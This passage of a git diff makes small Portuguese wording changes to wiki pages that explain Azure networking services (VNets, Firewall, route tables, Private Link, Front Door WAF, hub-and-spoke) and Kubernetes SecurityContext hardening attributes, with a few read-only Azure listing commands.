acordo com sua arquitetura de rede.\ +**Sub-redes** são subdivisões dentro de uma VNet, definidas por faixas de **endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de acordo com sua arquitetura de rede.\ Por padrão, todas as sub-redes dentro da mesma Rede Virtual do Azure (VNet) **podem se comunicar entre si** sem restrições. **Exemplo:** @@ -100,7 +100,7 @@ Está disponível em três SKUs—**Básico**, **Padrão** e **Premium**, cada u | **Caso de Uso Recomendado** | Pequenas/Médias Empresas (PMEs) com necessidades limitadas | Uso geral em empresas, filtragem de Camadas 3–7 | Ambientes altamente sensíveis (por exemplo, processamento de pagamentos) | | **Desempenho** | Até 250 Mbps de throughput | Até 30 Gbps de throughput | Até 100 Gbps de throughput | | **Inteligência de Ameaças** | Apenas alertas | Alertas e bloqueio (IPs/domínios maliciosos) | Alertas e bloqueio (inteligência de ameaças avançada) | -| **Filtragem L3–L7** | Filtragem básica | Filtragem com estado em protocolos | Filtragem com estado com inspeção avançada | +| **Filtragem L3–L7** | Filtragem básica | Filtragem com estado entre protocolos | Filtragem com estado com inspeção avançada | | **Proteção Avançada contra Ameaças** | Não disponível | Filtragem baseada em inteligência de ameaças | Inclui Sistema de Detecção e Prevenção de Intrusões (IDPS) | | **Inspeção TLS** | Não disponível | Não disponível | Suporta terminação TLS de entrada/saída | | **Disponibilidade** | Backend fixo (2 VMs) | Escalonamento automático | Escalonamento automático | @@ -143,7 +143,7 @@ Get-AzFirewall ## Tabelas de Roteamento do Azure -As **Tabelas de Roteamento do Azure** são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou o Azure Firewall. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela. +As **Tabelas de Roteamento** do Azure são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou Firewall do Azure. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela. **Exemplo:** Se uma sub-rede hospeda recursos que precisam rotear o tráfego de saída através de um Appliance Virtual de Rede (NVA) para inspeção, você pode criar uma **rota** em uma tabela de roteamento para redirecionar todo o tráfego (por exemplo, `0.0.0.0/0`) para o endereço IP privado do NVA como o próximo salto. @@ -208,7 +208,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private ## Pontos de Extremidade do Serviço Azure -Os Pontos de Extremidade do Serviço Azure estendem o espaço de endereço privado da sua rede virtual e a identidade da sua VNet para serviços Azure por meio de uma conexão direta. Ao habilitar os pontos de extremidade de serviço, **recursos na sua VNet podem se conectar com segurança aos serviços Azure**, como Azure Storage e Azure SQL Database, usando a rede backbone do Azure. Isso garante que o **tráfego da VNet para o serviço Azure permaneça dentro da rede Azure**, proporcionando um caminho mais seguro e confiável. +Os Pontos de Extremidade do Serviço Azure estendem o espaço de endereço privado da sua rede virtual e a identidade da sua VNet para serviços Azure por meio de uma conexão direta. Ao habilitar os pontos de extremidade de serviço, **recursos na sua VNet podem se conectar com segurança a serviços Azure**, como Azure Storage e Azure SQL Database, usando a rede backbone do Azure. Isso garante que o **tráfego da VNet para o serviço Azure permaneça dentro da rede Azure**, proporcionando um caminho mais seguro e confiável. **Exemplo:** @@ -257,19 +257,19 @@ A Microsoft recomenda o uso de Links Privados na [**docs**](https://learn.micros - O serviço Azure é acessado usando este endereço IP privado, fazendo parecer que é parte da sua rede. - Serviços conectados via Link Privado podem ser acessados apenas da sua VNet ou redes conectadas; não há acesso à internet pública ao serviço. - Ele permite uma conexão segura a serviços Azure ou seus próprios serviços hospedados no Azure, bem como uma conexão a serviços compartilhados por outros. -- Proporciona um controle de acesso mais granular através de um endpoint privado na sua VNet, em oposição a um controle de acesso mais amplo no nível da sub-rede com endpoints de serviço. +- Proporciona um controle de acesso mais granular através de um endpoint privado na sua VNet, em oposição ao controle de acesso mais amplo no nível da sub-rede com endpoints de serviço. -Em resumo, enquanto ambos os Endpoints de Serviço e Links Privados fornecem conectividade segura aos serviços Azure, **Links Privados oferecem um nível mais alto de isolamento e segurança, garantindo que os serviços sejam acessados de forma privada sem expô-los à internet pública**. Os Endpoints de Serviço, por outro lado, são mais fáceis de configurar para casos gerais onde é necessário um acesso simples e seguro aos serviços Azure sem a necessidade de um IP privado na VNet. +Em resumo, enquanto ambos os Endpoints de Serviço e Links Privados fornecem conectividade segura a serviços Azure, **Links Privados oferecem um nível mais alto de isolamento e segurança, garantindo que os serviços sejam acessados de forma privada sem expô-los à internet pública**. Os Endpoints de Serviço, por outro lado, são mais fáceis de configurar para casos gerais onde é necessário um acesso simples e seguro aos serviços Azure sem a necessidade de um IP privado na VNet. ## Azure Front Door (AFD) & AFD WAF -**Azure Front Door** é um ponto de entrada escalável e seguro para **entrega rápida** de suas aplicações web globais. Ele **combina** vários serviços como **balanceamento de carga global, aceleração de site, descarregamento de SSL e capacidades de Firewall de Aplicação Web (WAF)** em um único serviço. O Azure Front Door fornece roteamento inteligente com base na **localização de borda mais próxima do usuário**, garantindo desempenho e confiabilidade ideais. Além disso, oferece roteamento baseado em URL, hospedagem em múltiplos sites, afinidade de sessão e segurança na camada de aplicação. +**Azure Front Door** é um ponto de entrada escalável e seguro para **entrega rápida** de suas aplicações web globais. Ele **combina** vários serviços como balanceamento de carga global, aceleração de site, descarregamento de SSL e capacidades de Firewall de Aplicação Web (WAF) em um único serviço. O Azure Front Door fornece roteamento inteligente com base na **localização de borda mais próxima do usuário**, garantindo desempenho e confiabilidade ideais. Além disso, oferece roteamento baseado em URL, hospedagem em múltiplos sites, afinidade de sessão e segurança em nível de aplicação. **Azure Front Door WAF** é projetado para **proteger aplicações web contra ataques baseados na web** sem modificação do código de back-end. Inclui regras personalizadas e conjuntos de regras gerenciadas para proteger contra ameaças como injeção SQL, script entre sites e outros ataques comuns. **Exemplo:** -Imagine que você tem uma aplicação distribuída globalmente com usuários em todo o mundo. Você pode usar o Azure Front Door para **rotear solicitações de usuários para o data center regional mais próximo** que hospeda sua aplicação, reduzindo assim a latência, melhorando a experiência do usuário e **defendendo-a de ataques web com as capacidades do WAF**. Se uma região específica sofrer uma interrupção, o Azure Front Door pode automaticamente redirecionar o tráfego para a próxima melhor localização, garantindo alta disponibilidade. +Imagine que você tem uma aplicação distribuída globalmente com usuários em todo o mundo. Você pode usar o Azure Front Door para **rotear solicitações de usuários para o data center regional mais próximo** que hospeda sua aplicação, reduzindo assim a latência, melhorando a experiência do usuário e **defendendo-a contra ataques web com as capacidades do WAF**. Se uma região específica sofrer uma interrupção, o Azure Front Door pode automaticamente redirecionar o tráfego para a próxima melhor localização, garantindo alta disponibilidade. ### Enumeração @@ -327,11 +327,11 @@ az network application-gateway waf-config list --gateway-name - **Azure Hub e Spoke** é uma topologia de rede usada no Azure para gerenciar e organizar o tráfego de rede. **O "hub" é um ponto central que controla e roteia o tráfego entre diferentes "spokes"**. O hub normalmente contém serviços compartilhados, como appliances virtuais de rede (NVAs), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Os **"spokes" são VNets que hospedam cargas de trabalho e se conectam ao hub usando peering de VNet**, permitindo que aproveitem os serviços compartilhados dentro do hub. Este modelo promove um layout de rede limpo, reduzindo a complexidade ao centralizar serviços comuns que várias cargas de trabalho em diferentes VNets podem usar. -> [!CAUTION] > **O peering de VNET não é transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3. +> [!CAUTION] > **O peering de VNET é não transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3. **Exemplo:** -Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões. +Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet do hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões. ### Enumeração diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index fc009c285..c9a2a34da 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -4,7 +4,7 @@ ## PodSecurityContext -[**Da documentação:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) +[**Dos documentos:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) Ao especificar o contexto de segurança de um Pod, você pode usar vários atributos. Do ponto de vista da segurança defensiva, você deve considerar: @@ -18,7 +18,7 @@ Ao especificar o contexto de segurança de um Pod, você pode usar vários atrib |

fsGroupChangePolicy
string

| Isso define o comportamento de **mudança de propriedade e permissão do volume** antes de ser exposto dentro do Pod. | |

runAsGroup
inteiro

| O **GID para executar o ponto de entrada do processo do contêiner**. Usa o padrão de tempo de execução se não definido. Pode também ser definido em SecurityContext. | -|

runAsNonRoot
booleano

| Indica que o contêiner deve ser executado como um usuário não-root. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o fizer. | +|

runAsNonRoot
booleano

| Indica que o contêiner deve ser executado como um usuário não-root. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o for. | |

runAsUser
inteiro

| O **UID para executar o ponto de entrada do processo do contêiner**. Padrão para o usuário especificado nos metadados da imagem se não especificado. | |

seLinuxOptions
SELinuxOptions
Mais informações sobre seLinux

| O **contexto SELinux a ser aplicado a todos os contêineres**. Se não especificado, o tempo de execução do contêiner alocará um contexto SELinux aleatório para cada contêiner. | |

seccompProfile
SeccompProfile
Mais informações sobre Seccomp

| As **opções seccomp a serem usadas pelos contêineres** neste pod. | @@ -28,7 +28,7 @@ Ao especificar o contexto de segurança de um Pod, você pode usar vários atrib ## SecurityContext -[**Da documentação:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +[**Dos documentos:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) Este contexto é definido dentro das **definições de contêineres**. Do ponto de vista da segurança defensiva, você deve considerar: @@ -49,7 +49,7 @@ Observe que os atributos definidos em **ambos SecurityContext e PodSecurityConte |

procMount
string

| procMount denota o **tipo de montagem proc a ser usado para os contêineres**. O padrão é DefaultProcMount, que usa os padrões de tempo de execução do contêiner para caminhos somente leitura e caminhos mascarados. | |

readOnlyRootFilesystem
booleano

| Se este **contêiner tem um sistema de arquivos raiz somente leitura**. O padrão é falso. | |

runAsGroup
inteiro

| O **GID para executar o ponto de entrada** do processo do contêiner. Usa o padrão de tempo de execução se não definido. | -|

runAsNonRoot
booleano

| Indica que o contêiner deve **executar como um usuário não-root**. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o fizer. | +|

runAsNonRoot
booleano

| Indica que o contêiner deve **executar como um usuário não-root**. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o for. | |

runAsUser
inteiro

| O **UID para executar o ponto de entrada** do processo do contêiner. Padrão para o usuário especificado nos metadados da imagem se não especificado. | |

seLinuxOptions
SELinuxOptions
Mais informações sobre seLinux

| O **contexto SELinux a ser aplicado ao contêiner**. Se não especificado, o tempo de execução do contêiner alocará um contexto SELinux aleatório para cada contêiner. | |

seccompProfile
SeccompProfile

| As **opções seccomp** a serem usadas por este contêiner. |